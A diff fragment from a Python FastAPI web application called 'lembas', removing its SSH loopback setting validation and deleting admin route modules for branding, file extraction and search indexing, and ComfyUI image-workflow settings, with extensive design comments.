"max_completion_tokens": min(max(max_completion_tokens, 0), 5_000_000),
|
||||
"keep_transcript": keep_transcript,
|
||||
},
|
||||
key=settings_store.SUBAGENTS,
|
||||
)
|
||||
log.info("subagents %s by %s", "enabled" if enabled else "disabled", user.email)
|
||||
return RedirectResponse("/admin/agents?saved=1", status_code=status.HTTP_303_SEE_OTHER)
|
||||
|
||||
|
||||
@router.post("")
|
||||
async def save_agents(
|
||||
db: Db,
|
||||
user: AdminUser,
|
||||
enabled: bool = Form(False),
|
||||
loopback: str = Form("off"),
|
||||
loopback_port: int = Form(0),
|
||||
default_timeout: int = Form(60),
|
||||
max_timeout: int = Form(600),
|
||||
max_output_bytes: int = Form(64 * 1024),
|
||||
@@ -148,13 +88,6 @@ async def save_agents(
|
||||
db,
|
||||
{
|
||||
"enabled": enabled,
|
||||
# Anything unrecognised means off, here as well as on read: the one
|
||||
# direction safe to get wrong is refusing a connection somebody has
|
||||
# to re-allow, and the other is a shell on this host.
|
||||
"loopback": loopback if loopback in hosts.MODES else hosts.MODE_OFF,
|
||||
# Zero means "none named", which is what `port` needs in order to
|
||||
# refuse rather than to allow. 22 is refused wherever it is stored.
|
||||
"loopback_port": loopback_port if 1 <= loopback_port <= 65535 else 0,
|
||||
# Clamped here as well as on read. A number with no bound is a way
|
||||
# to break the instance from a form, which is the same reasoning
|
||||
# the search settings carry.
|
||||
@@ -191,11 +124,4 @@ async def save_agents(
|
||||
key=settings_store.AGENTS,
|
||||
)
|
||||
log.info("agent execution %s by %s", "enabled" if enabled else "disabled", user.email)
|
||||
if loopback != hosts.MODE_OFF:
|
||||
log.warning(
|
||||
"ssh connections to this machine allowed (%s%s) by %s",
|
||||
loopback,
|
||||
f", port {loopback_port}" if loopback == hosts.MODE_PORT else "",
|
||||
user.email,
|
||||
)
|
||||
return RedirectResponse("/admin/agents?saved=1", status_code=status.HTTP_303_SEE_OTHER)
|
||||
|
||||
@@ -1,225 +0,0 @@
|
||||
"""Making an instance somebody else's.
|
||||
|
||||
One page, four cards, one settings group. Everything it writes goes through
|
||||
`branding.stored_only`, so a field left at its shipped wording is never written
|
||||
down and a later release can still improve it — the prompt-fragment rule, and
|
||||
the reason this page can afford to render every flavour string as an editable
|
||||
box without freezing all of them the first time somebody presses Save.
|
||||
|
||||
`branding.forget()` after every write, and this is the only module that calls
|
||||
it. The snapshot is a process-level cache read by a Jinja global; a save that
|
||||
did not drop it would take effect on the next restart, which is the shape of
|
||||
failure this codebase keeps cataloguing.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import logging
|
||||
|
||||
from fastapi import APIRouter, File, Form, Request, Response, UploadFile, status
|
||||
from fastapi.responses import RedirectResponse
|
||||
|
||||
from lembas.api.deps import AdminUser, Db
|
||||
from lembas.services import branding as branding_service
|
||||
from lembas.services import settings_store, uploads
|
||||
from lembas.web.templating import render
|
||||
|
||||
log = logging.getLogger(__name__)
|
||||
|
||||
router = APIRouter(prefix="/admin/customization", tags=["admin-branding"])
|
||||
|
||||
MAX_CUSTOM_CSS = 40_000
|
||||
|
||||
# How many custom themes an instance may keep. Not a design limit -- there is
|
||||
# nothing in `theme_css` that cares -- but the whole set lives in one settings
|
||||
# row read into a process-level snapshot on every render, and the page offers a
|
||||
# blank block whenever there is room, so *some* number has to say when to stop
|
||||
# offering. Twelve is far past what anybody wants and small enough that the
|
||||
# stylesheet stays a stylesheet.
|
||||
MAX_THEMES = 12
|
||||
|
||||
|
||||
def _page(request: Request, db: Db, saved: str = "", error: str = "") -> Response:
|
||||
values = settings_store.get_group(db, branding_service.BRANDING)
|
||||
brand = branding_service.for_db(db)
|
||||
return render(
|
||||
request,
|
||||
"admin/customization.html",
|
||||
{
|
||||
"values": values,
|
||||
"current": brand,
|
||||
# The flavour table drives the form, so a string added in code
|
||||
# appears here with its default in the box and no template change.
|
||||
"flavour": [
|
||||
{
|
||||
"key": key,
|
||||
"label": label,
|
||||
"hint": hint,
|
||||
"default": default,
|
||||
"value": str(values.get(f"text_{key}") or ""),
|
||||
}
|
||||
for key, (label, hint, default) in branding_service.FLAVOUR.items()
|
||||
],
|
||||
"tokens": branding_service.THEME_TOKENS,
|
||||
"custom_themes": [t for t in brand.themes if not t.built_in],
|
||||
"bases": [name for name, _, _ in branding_service.BUILT_IN],
|
||||
"max_themes": MAX_THEMES,
|
||||
"saved": saved,
|
||||
"error": error,
|
||||
},
|
||||
)
|
||||
|
||||
|
||||
@router.get("")
|
||||
async def customization_page(request: Request, db: Db, user: AdminUser, saved: str = ""):
|
||||
return _page(request, db, saved=saved)
|
||||
|
||||
|
||||
def _write(db: Db, changes: dict) -> None:
|
||||
"""Store a change and drop the cache, in that order and always together."""
|
||||
settings_store.update(db, changes, key=branding_service.BRANDING)
|
||||
branding_service.forget()
|
||||
|
||||
|
||||
@router.post("/identity")
|
||||
async def save_identity(
|
||||
request: Request,
|
||||
db: Db,
|
||||
user: AdminUser,
|
||||
instance_name: str = Form(""),
|
||||
tagline: str = Form(""),
|
||||
logo: UploadFile | None = File(None),
|
||||
favicon: UploadFile | None = File(None),
|
||||
remove_logo: bool = Form(False),
|
||||
remove_favicon: bool = Form(False),
|
||||
) -> Response:
|
||||
stored = settings_store.get_group(db, branding_service.BRANDING)
|
||||
changes: dict = {
|
||||
"instance_name": instance_name.strip()[:120],
|
||||
"tagline": tagline.strip()[:200],
|
||||
}
|
||||
|
||||
if remove_logo:
|
||||
for name in (stored.get("logo_path"), *(stored.get("icon_paths") or {}).values()):
|
||||
uploads.delete_branding_image(str(name or ""))
|
||||
changes["logo_path"] = ""
|
||||
changes["icon_paths"] = {}
|
||||
if remove_favicon:
|
||||
uploads.delete_branding_image(str(stored.get("favicon_path") or ""))
|
||||
changes["favicon_path"] = ""
|
||||
|
||||
try:
|
||||
if logo is not None and logo.filename:
|
||||
payload = await logo.read()
|
||||
changes["logo_path"] = uploads.save_branding_image(payload, logo.content_type or "")
|
||||
# Derived here rather than on demand: a launcher asks for a 512px
|
||||
# PNG and will not scale one itself, and doing it per request would
|
||||
# mean resizing an image on the path that serves it.
|
||||
changes["icon_paths"] = uploads.derive_icons(payload)
|
||||
if favicon is not None and favicon.filename:
|
||||
payload = await favicon.read()
|
||||
changes["favicon_path"] = uploads.save_branding_image(
|
||||
payload, favicon.content_type or ""
|
||||
)
|
||||
except uploads.UploadError as exc:
|
||||
return _page(request, db, error=str(exc))
|
||||
|
||||
_write(db, branding_service.stored_only(changes))
|
||||
log.info("branding identity changed by %s", user.email)
|
||||
return RedirectResponse(
|
||||
"/admin/customization?saved=Identity+saved.", status_code=status.HTTP_303_SEE_OTHER
|
||||
)
|
||||
|
||||
|
||||
@router.post("/flavour")
|
||||
async def save_flavour(request: Request, db: Db, user: AdminUser) -> Response:
|
||||
"""The Middle-earth strings.
|
||||
|
||||
Read from the raw form rather than declared as parameters, because the set
|
||||
is `branding.FLAVOUR` and a parameter list would be a second copy of it that
|
||||
goes stale the first time a string is added. A key that was not submitted is
|
||||
left alone; one submitted empty falls back to its default, which is what
|
||||
makes "clear the box" mean "give me the shipped wording back" rather than
|
||||
"show nothing here".
|
||||
"""
|
||||
form = await request.form()
|
||||
changes = {
|
||||
f"text_{key}": str(form.get(f"text_{key}") or "").strip()[:400]
|
||||
for key in branding_service.FLAVOUR
|
||||
if f"text_{key}" in form
|
||||
}
|
||||
_write(db, branding_service.stored_only(changes))
|
||||
return RedirectResponse(
|
||||
"/admin/customization?saved=Wording+saved.", status_code=status.HTTP_303_SEE_OTHER
|
||||
)
|
||||
|
||||
|
||||
@router.post("/css")
|
||||
async def save_css(db: Db, user: AdminUser, custom_css: str = Form("")) -> Response:
|
||||
_write(db, {"custom_css": custom_css.strip()[:MAX_CUSTOM_CSS]})
|
||||
log.info("custom CSS changed by %s", user.email)
|
||||
return RedirectResponse(
|
||||
"/admin/customization?saved=Stylesheet+saved.", status_code=status.HTTP_303_SEE_OTHER
|
||||
)
|
||||
|
||||
|
||||
@router.post("/themes")
|
||||
async def save_themes(request: Request, db: Db, user: AdminUser) -> Response:
|
||||
"""Every custom theme, replaced wholesale.
|
||||
|
||||
One form for the lot rather than a row each, because a theme is a handful of
|
||||
colours and the whole set fits on a screen — and because replacing the list
|
||||
means a theme removed here is gone, with no reconciliation between what was
|
||||
posted and what was stored.
|
||||
|
||||
Nothing is validated here beyond shape. `branding._theme_from` validates on
|
||||
every **read**, so a theme written straight into the settings table by hand,
|
||||
or stored by an earlier version, still has to produce a stylesheet that
|
||||
parses. Validating only on save would put that guarantee in the wrong place.
|
||||
|
||||
The indices need not be contiguous and are not renumbered. The page renders
|
||||
one block per theme plus a blank one, so clearing an id in the middle leaves
|
||||
a gap -- and a gap is simply an index with no id, which the loop already
|
||||
skips. Renumbering would be work in aid of nothing.
|
||||
"""
|
||||
form = await request.form()
|
||||
themes = []
|
||||
for index in range(_theme_count(form)):
|
||||
theme_id = str(form.get(f"theme_{index}_id") or "").strip().lower()
|
||||
if not theme_id:
|
||||
continue
|
||||
themes.append(
|
||||
{
|
||||
"id": theme_id,
|
||||
"label": str(form.get(f"theme_{index}_label") or "").strip(),
|
||||
"base": str(form.get(f"theme_{index}_base") or "moria"),
|
||||
"tokens": {
|
||||
name: value
|
||||
for name, _ in branding_service.THEME_TOKENS
|
||||
if (value := str(form.get(f"theme_{index}_{name}") or "").strip())
|
||||
},
|
||||
}
|
||||
)
|
||||
# Enforced here as well as in the template, because the template's job is to
|
||||
# stop offering and this one's is to stop accepting -- a crafted POST is not
|
||||
# the page.
|
||||
themes = themes[:MAX_THEMES]
|
||||
_write(db, {"themes": themes})
|
||||
log.info("%d custom theme(s) saved by %s", len(themes), user.email)
|
||||
return RedirectResponse(
|
||||
"/admin/customization?saved=Themes+saved.", status_code=status.HTTP_303_SEE_OTHER
|
||||
)
|
||||
|
||||
|
||||
def _theme_count(form) -> int:
|
||||
"""How many theme blocks the form carried.
|
||||
|
||||
Counted from the submitted keys rather than from a hidden field, so a form
|
||||
rendered by an older page still saves what it holds.
|
||||
"""
|
||||
indices = [
|
||||
int(key.split("_")[1])
|
||||
for key in form
|
||||
if key.startswith("theme_") and key.split("_")[1].isdigit()
|
||||
]
|
||||
return max(indices) + 1 if indices else 0
|
||||
@@ -1,200 +0,0 @@
|
||||
"""What happens to a file between the upload and the model, and how it is found.
|
||||
|
||||
Two halves on one page because they are two ends of the same pipeline: what gets
|
||||
extracted decides what there is to search, and the search settings decide what
|
||||
becomes of it. Splitting them would mean an administrator setting a 300-page PDF
|
||||
limit on one screen and wondering on another why half a book is missing from the
|
||||
index.
|
||||
|
||||
Every save drops `files.forget()`, and this is the only module that calls it —
|
||||
the same discipline `admin_branding` has with the branding snapshot, and for the
|
||||
same reason: a process-level cache whose save does not drop it is a setting that
|
||||
takes effect at the next restart.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import logging
|
||||
|
||||
from fastapi import APIRouter, Form, Request, Response, status
|
||||
from fastapi.responses import RedirectResponse
|
||||
from sqlalchemy import select
|
||||
|
||||
from lembas.api.deps import AdminUser, Db
|
||||
from lembas.db.models import Connection, Model
|
||||
from lembas.services import files as files_service
|
||||
from lembas.services import settings_store
|
||||
from lembas.services.library import indexing
|
||||
from lembas.web.templating import render
|
||||
|
||||
log = logging.getLogger(__name__)
|
||||
|
||||
router = APIRouter(prefix="/admin/extraction", tags=["admin-extraction"])
|
||||
|
||||
|
||||
def _embedding_models(db: Db) -> list[Model]:
|
||||
"""Models an administrator has marked as producing embeddings.
|
||||
|
||||
Filtered rather than listed in full, the same shape `/admin/images` uses for
|
||||
its reviewer: a chat model in this picker is a setting that looks configured
|
||||
and fails on the first request, which is the shape of failure this codebase
|
||||
keeps cataloguing.
|
||||
"""
|
||||
return [
|
||||
model
|
||||
for model in db.scalars(
|
||||
select(Model).join(Connection).order_by(Model.position, Model.model_id)
|
||||
)
|
||||
if (model.capabilities_json or {}).get("embeddings")
|
||||
]
|
||||
|
||||
|
||||
def _lines(text: str) -> list[str]:
|
||||
return [line.strip() for line in (text or "").splitlines() if line.strip()]
|
||||
|
||||
|
||||
@router.get("")
|
||||
async def extraction_page(request: Request, db: Db, user: AdminUser, saved: str = ""):
|
||||
values = settings_store.extraction(db)
|
||||
models = _embedding_models(db)
|
||||
return render(
|
||||
request,
|
||||
"admin/extraction.html",
|
||||
{
|
||||
"values": values,
|
||||
"extensions_text": "\n".join(values.get("extra_text_extensions") or []),
|
||||
"models": models,
|
||||
# A model that was chosen and has since lost its flag, or its
|
||||
# connection. Named rather than silently dropped from the picker:
|
||||
# a setting that vanishes is one nobody can tell from one that was
|
||||
# never made.
|
||||
"missing_model": (
|
||||
values["embedding_model_id"]
|
||||
if values["embedding_model_id"]
|
||||
and values["embedding_model_id"] not in {m.model_id for m in models}
|
||||
else ""
|
||||
),
|
||||
"ready": indexing.enabled(db),
|
||||
"counts": indexing.counts(db),
|
||||
"progress": indexing.progress(),
|
||||
"saved": saved,
|
||||
},
|
||||
)
|
||||
|
||||
|
||||
@router.post("")
|
||||
async def save_extraction(
|
||||
db: Db,
|
||||
user: AdminUser,
|
||||
max_upload_mb: int = Form(20),
|
||||
max_image_edge: int = Form(1400),
|
||||
jpeg_quality: int = Form(85),
|
||||
max_pdf_pages: int = Form(300),
|
||||
max_extracted_chars: int = Form(120_000),
|
||||
orphan_hours: int = Form(24),
|
||||
extra_text_extensions: str = Form(""),
|
||||
reject_unreadable_pdf: bool = Form(False),
|
||||
) -> Response:
|
||||
settings_store.update(
|
||||
db,
|
||||
{
|
||||
# Clamped here as well as on read, for the reason the agent settings
|
||||
# give: a number with no bound is a way to break the instance from
|
||||
# a form.
|
||||
"max_upload_mb": min(max(max_upload_mb, 1), 512),
|
||||
"max_image_edge": min(max(max_image_edge, 128), 8192),
|
||||
"jpeg_quality": min(max(jpeg_quality, 30), 100),
|
||||
"max_pdf_pages": min(max(max_pdf_pages, 1), 5000),
|
||||
"max_extracted_chars": min(max(max_extracted_chars, 1000), 5_000_000),
|
||||
"orphan_hours": min(max(orphan_hours, 1), 8760),
|
||||
"extra_text_extensions": _lines(extra_text_extensions),
|
||||
"reject_unreadable_pdf": reject_unreadable_pdf,
|
||||
},
|
||||
key=settings_store.EXTRACTION,
|
||||
)
|
||||
files_service.forget()
|
||||
log.info("extraction settings changed by %s", user.email)
|
||||
return RedirectResponse(
|
||||
"/admin/extraction?saved=Extraction+saved.", status_code=status.HTTP_303_SEE_OTHER
|
||||
)
|
||||
|
||||
|
||||
@router.post("/search")
|
||||
async def save_search(
|
||||
db: Db,
|
||||
user: AdminUser,
|
||||
embedding_model_id: str = Form(""),
|
||||
chunk_chars: int = Form(1200),
|
||||
chunk_overlap: int = Form(150),
|
||||
embed_batch: int = Form(16),
|
||||
) -> Response:
|
||||
"""The semantic half.
|
||||
|
||||
Its own form and its own route, because the two halves have different
|
||||
consequences: changing a chunk size invalidates every vector already stored,
|
||||
and changing an upload limit does not. Keeping them apart is what lets the
|
||||
page say so beside the control that does it.
|
||||
"""
|
||||
before = settings_store.extraction(db)
|
||||
settings_store.update(
|
||||
db,
|
||||
{
|
||||
"embedding_model_id": embedding_model_id.strip()[:300],
|
||||
"chunk_chars": min(max(chunk_chars, 200), 8000),
|
||||
"chunk_overlap": max(chunk_overlap, 0),
|
||||
"embed_batch": min(max(embed_batch, 1), 256),
|
||||
},
|
||||
key=settings_store.EXTRACTION,
|
||||
)
|
||||
files_service.forget()
|
||||
|
||||
# Changing the model changes the vector space, so what is stored stops
|
||||
# meaning anything against a new query. Nothing is deleted -- the scorer
|
||||
# already skips a width that does not match the query's, so a stale index is
|
||||
# ignored rather than trusted -- but a rebuild is what makes it useful
|
||||
# again, and offering it here is cheaper than leaving somebody to notice.
|
||||
changed = before["embedding_model_id"] != embedding_model_id.strip()
|
||||
message = "Search+saved."
|
||||
if changed and embedding_model_id.strip():
|
||||
message = "Search+saved.+Rebuild+the+index+to+use+the+new+model."
|
||||
log.info("embedding model set to %r by %s", embedding_model_id, user.email)
|
||||
return RedirectResponse(
|
||||
f"/admin/extraction?saved={message}", status_code=status.HTTP_303_SEE_OTHER
|
||||
)
|
||||
|
||||
|
||||
@router.post("/rebuild")
|
||||
async def rebuild(request: Request, db: Db, user: AdminUser) -> Response:
|
||||
"""Start a rebuild, and answer with the progress card.
|
||||
|
||||
A background task rather than a request that waits: embedding a library of a
|
||||
few thousand records is minutes of HTTP round trips, and a page that hangs
|
||||
for that long is one somebody reloads, which starts a second one.
|
||||
"""
|
||||
started = indexing.start_rebuild()
|
||||
if started:
|
||||
log.info("index rebuild started by %s", user.email)
|
||||
return render(
|
||||
request,
|
||||
"admin/_index_progress.html",
|
||||
{"progress": indexing.progress(), "counts": indexing.counts(db), "ready": True},
|
||||
)
|
||||
|
||||
|
||||
@router.get("/progress")
|
||||
async def rebuild_progress(request: Request, db: Db, user: AdminUser) -> Response:
|
||||
"""Polled while a rebuild runs. Stops polling itself when it finishes.
|
||||
|
||||
Polled rather than streamed for the reason `/api/chats/unread` is: this is
|
||||
one small fragment on one page, and an SSE stream for it would be a second
|
||||
streaming path to keep correct.
|
||||
"""
|
||||
return render(
|
||||
request,
|
||||
"admin/_index_progress.html",
|
||||
{
|
||||
"progress": indexing.progress(),
|
||||
"counts": indexing.counts(db),
|
||||
"ready": indexing.enabled(db),
|
||||
},
|
||||
)
|
||||
@@ -1,462 +0,0 @@
|
||||
"""Image generation administration: the ComfyUI, and the workflows to run on it.
|
||||
|
||||
Two shapes on one nav entry, because they are two different kinds of thing. The
|
||||
connection, the checkpoints and the switches are instance settings and get a
|
||||
settings page. A workflow is an authored document with a name, a description and
|
||||
a body, so the workflows are list-plus-detail -- the shape `CLAUDE.md` requires
|
||||
of any admin list, and for the reason it gives: a page that renders a ten-line
|
||||
JSON textarea per row is unusable at three rows.
|
||||
|
||||
Route order matters and is not alphabetical. `/admin/images/workflows/new` is
|
||||
registered before `/admin/images/workflows/{workflow_id}`, or "new" is captured
|
||||
as an id and 404s. That has already been a bug twice here.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import json
|
||||
import logging
|
||||
import re
|
||||
from datetime import UTC, datetime
|
||||
from typing import Any
|
||||
|
||||
from fastapi import APIRouter, Form, HTTPException, Request, Response, status
|
||||
from fastapi.responses import RedirectResponse
|
||||
from sqlalchemy import func, select
|
||||
|
||||
from lembas.api.deps import AdminUser, Db
|
||||
from lembas.db.models import ImageWorkflow, Model
|
||||
from lembas.services import settings_store
|
||||
from lembas.services.crypto import UNCHANGED_SENTINEL, decrypt, keep_or_replace, mask
|
||||
from lembas.services.images import comfy
|
||||
from lembas.services.images import workflow as workflow_service
|
||||
from lembas.services.llm.openai_client import LLMError
|
||||
from lembas.web.templating import render
|
||||
|
||||
log = logging.getLogger(__name__)
|
||||
|
||||
router = APIRouter(prefix="/admin/images", tags=["admin-images"])
|
||||
|
||||
SLUG_PATTERN = re.compile(r"^[a-z0-9][a-z0-9_-]{0,47}$")
|
||||
|
||||
# The placeholders a workflow has to carry to be worth having. Without a prompt
|
||||
# it draws the same picture whatever anybody types, which is the one failure
|
||||
# somebody would not think to look for.
|
||||
REQUIRED_PLACEHOLDERS = ("prompt",)
|
||||
|
||||
|
||||
def _lines(text: str) -> list[str]:
|
||||
"""One name per line, blanks dropped. The `admin_agents` pattern."""
|
||||
seen: list[str] = []
|
||||
for line in (text or "").splitlines():
|
||||
name = line.strip()
|
||||
if name and name not in seen:
|
||||
seen.append(name)
|
||||
return seen
|
||||
|
||||
|
||||
def _number(raw: str, name: str, *, whole: bool = True) -> Any:
|
||||
"""A filled box as a clamped number, an empty one as "".
|
||||
|
||||
The empty string is load-bearing and is not a missing value: it is how an
|
||||
administrator says "no opinion about this one", which `workflow.resolve`
|
||||
reads as "fall through to the built-in floor". Turning it into a zero here
|
||||
would silently set every instance to zero steps.
|
||||
"""
|
||||
text = (raw or "").strip()
|
||||
if not text:
|
||||
return ""
|
||||
try:
|
||||
value = float(text)
|
||||
except ValueError:
|
||||
return ""
|
||||
low, high = workflow_service.LIMITS.get(name, (None, None))
|
||||
if low is not None:
|
||||
value = min(max(value, low), high)
|
||||
return int(value) if whole else value
|
||||
|
||||
|
||||
def _config(db: Db) -> comfy.Config:
|
||||
values = settings_store.images(db)
|
||||
return comfy.Config(
|
||||
base_url=str(values.get("base_url") or ""),
|
||||
api_key=decrypt(str(values.get("api_key_encrypted") or "")),
|
||||
timeout=30.0,
|
||||
)
|
||||
|
||||
|
||||
def _page(request: Request, db: Db, **extra) -> Response:
|
||||
values = settings_store.images(db)
|
||||
workflows = list(
|
||||
db.scalars(select(ImageWorkflow).order_by(ImageWorkflow.position, ImageWorkflow.slug))
|
||||
)
|
||||
return render(
|
||||
request,
|
||||
"admin/images.html",
|
||||
{
|
||||
"values": values,
|
||||
"workflows": workflows,
|
||||
# Only models an administrator has marked as having vision can
|
||||
# review, so the picker offers those and nothing else -- a list
|
||||
# including text-only models would be a list of choices that
|
||||
# silently do nothing.
|
||||
"vision_models": list(
|
||||
db.scalars(
|
||||
select(Model)
|
||||
.where(Model.enabled.is_(True))
|
||||
.order_by(Model.position, Model.model_id)
|
||||
)
|
||||
),
|
||||
"checkpoints_text": "\n".join(values.get("checkpoints") or []),
|
||||
"masked": mask(decrypt(values.get("api_key_encrypted") or "")),
|
||||
"unchanged": UNCHANGED_SENTINEL,
|
||||
**extra,
|
||||
},
|
||||
)
|
||||
|
||||
|
||||
@router.get("")
|
||||
async def images_page(request: Request, db: Db, user: AdminUser, saved: str = "") -> Response:
|
||||
return _page(request, db, saved=saved)
|
||||
|
||||
|
||||
@router.post("")
|
||||
async def save_images(
|
||||
request: Request,
|
||||
db: Db,
|
||||
user: AdminUser,
|
||||
enabled: bool = Form(False),
|
||||
base_url: str = Form(""),
|
||||
api_key: str = Form(""),
|
||||
timeout: float = Form(600.0),
|
||||
checkpoints: str = Form(""),
|
||||
default_workflow_id: str = Form(""),
|
||||
review_enabled: bool = Form(False),
|
||||
review_model_id: str = Form(""),
|
||||
max_tries: int = Form(4),
|
||||
preserve_vram: bool = Form(False),
|
||||
instructions: str = Form(""),
|
||||
# The generation defaults. Every one is a *string* even where it is a
|
||||
# number, because "" is how an administrator says "no opinion" and an
|
||||
# `int = Form(0)` cannot express that -- zero steps is a value, and one
|
||||
# somebody could mean. `_number` below turns a filled box into a clamped
|
||||
# number and an empty one back into "".
|
||||
default_checkpoint: str = Form(""),
|
||||
default_steps: str = Form(""),
|
||||
default_cfg: str = Form(""),
|
||||
default_width: str = Form(""),
|
||||
default_height: str = Form(""),
|
||||
default_sampler: str = Form(""),
|
||||
default_scheduler: str = Form(""),
|
||||
default_denoise: str = Form(""),
|
||||
default_negative: str = Form(""),
|
||||
default_batch: str = Form(""),
|
||||
) -> Response:
|
||||
"""Save the settings.
|
||||
|
||||
Every toggle defaults to False because an unticked checkbox is simply absent
|
||||
from a form post -- that absence *is* the off signal, the rule
|
||||
`admin_audio` states.
|
||||
|
||||
The discovered sampler and scheduler lists are deliberately not submitted
|
||||
and not cleared here: they belong to whatever ComfyUI was tested, and a save
|
||||
that only changed the instructions box has no opinion about them.
|
||||
"""
|
||||
current = settings_store.images(db)
|
||||
settings_store.update(
|
||||
db,
|
||||
{
|
||||
"enabled": enabled,
|
||||
"base_url": base_url.strip().rstrip("/"),
|
||||
"api_key_encrypted": keep_or_replace(
|
||||
api_key, current.get("api_key_encrypted") or ""
|
||||
),
|
||||
"timeout": min(max(timeout, 10.0), 3600.0),
|
||||
"checkpoints": _lines(checkpoints),
|
||||
"default_workflow_id": default_workflow_id.strip(),
|
||||
"review_enabled": review_enabled,
|
||||
"review_model_id": review_model_id.strip(),
|
||||
"max_tries": min(max(max_tries, 1), 10),
|
||||
"preserve_vram": preserve_vram,
|
||||
"instructions": instructions.strip()[:4000],
|
||||
# Clamped here to the same bounds `workflow.LIMITS` uses on the way
|
||||
# out. Twice, deliberately: a number stored by an earlier version,
|
||||
# or written straight into the settings row, still has to be safe
|
||||
# when a generation reads it.
|
||||
"default_checkpoint": default_checkpoint.strip(),
|
||||
"default_steps": _number(default_steps, "steps"),
|
||||
"default_cfg": _number(default_cfg, "cfg", whole=False),
|
||||
"default_width": _number(default_width, "width"),
|
||||
"default_height": _number(default_height, "height"),
|
||||
"default_sampler": default_sampler.strip(),
|
||||
"default_scheduler": default_scheduler.strip(),
|
||||
"default_denoise": _number(default_denoise, "denoise", whole=False),
|
||||
"default_negative": default_negative.strip()[:500],
|
||||
"default_batch": _number(default_batch, "batch"),
|
||||
},
|
||||
key=settings_store.IMAGES,
|
||||
)
|
||||
log.info("image generation %s by %s", "enabled" if enabled else "disabled", user.email)
|
||||
return RedirectResponse(
|
||||
"/admin/images?saved=Saved.", status_code=status.HTTP_303_SEE_OTHER
|
||||
)
|
||||
|
||||
|
||||
@router.post("/test")
|
||||
async def test_images(request: Request, db: Db, user: AdminUser) -> Response:
|
||||
"""Ask ComfyUI what it can do, and remember the answer.
|
||||
|
||||
Against the *saved* settings rather than the unsaved form, so what is tested
|
||||
is what a chat would actually reach -- the same rule `/admin/search/test`
|
||||
follows.
|
||||
|
||||
The lists are stored rather than only shown, because the request path may
|
||||
never ask ComfyUI anything: `harness.context_variables` is synchronous and
|
||||
the tool schema is built per request, so both read what this button wrote.
|
||||
"""
|
||||
config = _config(db)
|
||||
if not config.configured:
|
||||
return render(
|
||||
request,
|
||||
"admin/_images_result.html",
|
||||
{"message": "Set a base URL first.", "message_kind": "error"},
|
||||
)
|
||||
try:
|
||||
checkpoints, samplers, schedulers = await comfy.discover(config)
|
||||
except LLMError as exc:
|
||||
return render(
|
||||
request,
|
||||
"admin/_images_result.html",
|
||||
{"message": exc.message, "message_kind": "error"},
|
||||
)
|
||||
|
||||
stored = settings_store.images(db)
|
||||
changes: dict = {"samplers": samplers, "schedulers": schedulers}
|
||||
# The checkpoint list is filled in only when nobody has one yet, for the
|
||||
# reason a refreshed connection does not overwrite a context length an
|
||||
# administrator typed: they are usually narrowing it deliberately.
|
||||
if not stored.get("checkpoints"):
|
||||
changes["checkpoints"] = checkpoints
|
||||
settings_store.update(db, changes, key=settings_store.IMAGES)
|
||||
|
||||
found = (
|
||||
f"Found {len(checkpoints)} checkpoint{'' if len(checkpoints) == 1 else 's'}, "
|
||||
f"{len(samplers)} samplers and {len(schedulers)} schedulers."
|
||||
)
|
||||
return render(
|
||||
request,
|
||||
"admin/_images_result.html",
|
||||
{
|
||||
"message": found,
|
||||
"message_kind": "success",
|
||||
"checkpoints": checkpoints,
|
||||
"kept": bool(stored.get("checkpoints")),
|
||||
},
|
||||
)
|
||||
|
||||
|
||||
# --- Workflows -----------------------------------------------------------------
|
||||
def _workflow(db: Db, workflow_id: str) -> ImageWorkflow:
|
||||
row = db.get(ImageWorkflow, workflow_id)
|
||||
if row is None:
|
||||
raise HTTPException(status.HTTP_404_NOT_FOUND, "That workflow no longer exists.")
|
||||
return row
|
||||
|
||||
|
||||
def _placeholder_help(db: Db) -> list[tuple[str, str, str, str]]:
|
||||
"""Every placeholder, what it fills, and what it resolves to *today*.
|
||||
|
||||
The last column is the point. A legend listing names answers "what may I
|
||||
write"; the question somebody actually has, standing in front of a workflow
|
||||
that came out wrong, is "what happens if I leave this out" -- and the answer
|
||||
moved the day instance defaults arrived. Resolved through the same call a
|
||||
generation makes, so the two cannot disagree.
|
||||
"""
|
||||
resolved = workflow_service.resolve({}, settings=settings_store.images(db))
|
||||
out: list[tuple[str, str, str, str]] = []
|
||||
for name in workflow_service.PLACEHOLDERS:
|
||||
kind, what = workflow_service.DESCRIPTIONS.get(name, ("text", ""))
|
||||
if name == "prompt":
|
||||
shown = "whatever is asked for"
|
||||
elif name == "seed":
|
||||
shown = "a fresh random one"
|
||||
elif name == "model":
|
||||
shown = str(resolved.get("model") or "") or "the first checkpoint listed"
|
||||
else:
|
||||
shown = str(resolved.get(name, ""))
|
||||
out.append((name, kind, what, shown))
|
||||
return out
|
||||
|
||||
|
||||
def _detail(
|
||||
request: Request, db: Db, row: ImageWorkflow, *, is_new: bool, error: str = "", **extra
|
||||
):
|
||||
return render(
|
||||
request,
|
||||
"admin/workflow_detail.html",
|
||||
{
|
||||
"workflow": row,
|
||||
"is_new": is_new,
|
||||
"error": error,
|
||||
"placeholders": workflow_service.PLACEHOLDERS,
|
||||
"placeholder_help": _placeholder_help(db),
|
||||
"workflow_text": extra.pop(
|
||||
"workflow_text", json.dumps(row.workflow_json or {}, indent=2)
|
||||
),
|
||||
**extra,
|
||||
},
|
||||
)
|
||||
|
||||
|
||||
def _populate(row: ImageWorkflow, form) -> None:
|
||||
row.name = str(form.get("name") or "").strip()[:120]
|
||||
row.description = str(form.get("description") or "").strip()[:2000]
|
||||
row.enabled = "enabled" in form
|
||||
|
||||
|
||||
def _problem(db: Db, row: ImageWorkflow, form, *, existing_id: str = "") -> str:
|
||||
"""Why this cannot be saved, or an empty string.
|
||||
|
||||
A sentence rather than a 422, so a rejected save re-renders the form with
|
||||
what was typed still in it -- losing forty lines of JSON to a validation
|
||||
error is not a thing to do to somebody.
|
||||
"""
|
||||
if not row.name:
|
||||
return "A workflow needs a name."
|
||||
|
||||
slug = str(form.get("slug") or "").strip().lower()
|
||||
if not SLUG_PATTERN.match(slug):
|
||||
return (
|
||||
"The name the model uses must be lowercase letters, digits, "
|
||||
"hyphens or underscores, and start with a letter or digit."
|
||||
)
|
||||
clash = db.scalar(select(ImageWorkflow).where(ImageWorkflow.slug == slug))
|
||||
if clash is not None and clash.id != existing_id:
|
||||
return f"There is already a workflow called “{slug}”."
|
||||
row.slug = slug
|
||||
|
||||
raw = str(form.get("workflow") or "").strip()
|
||||
if not raw:
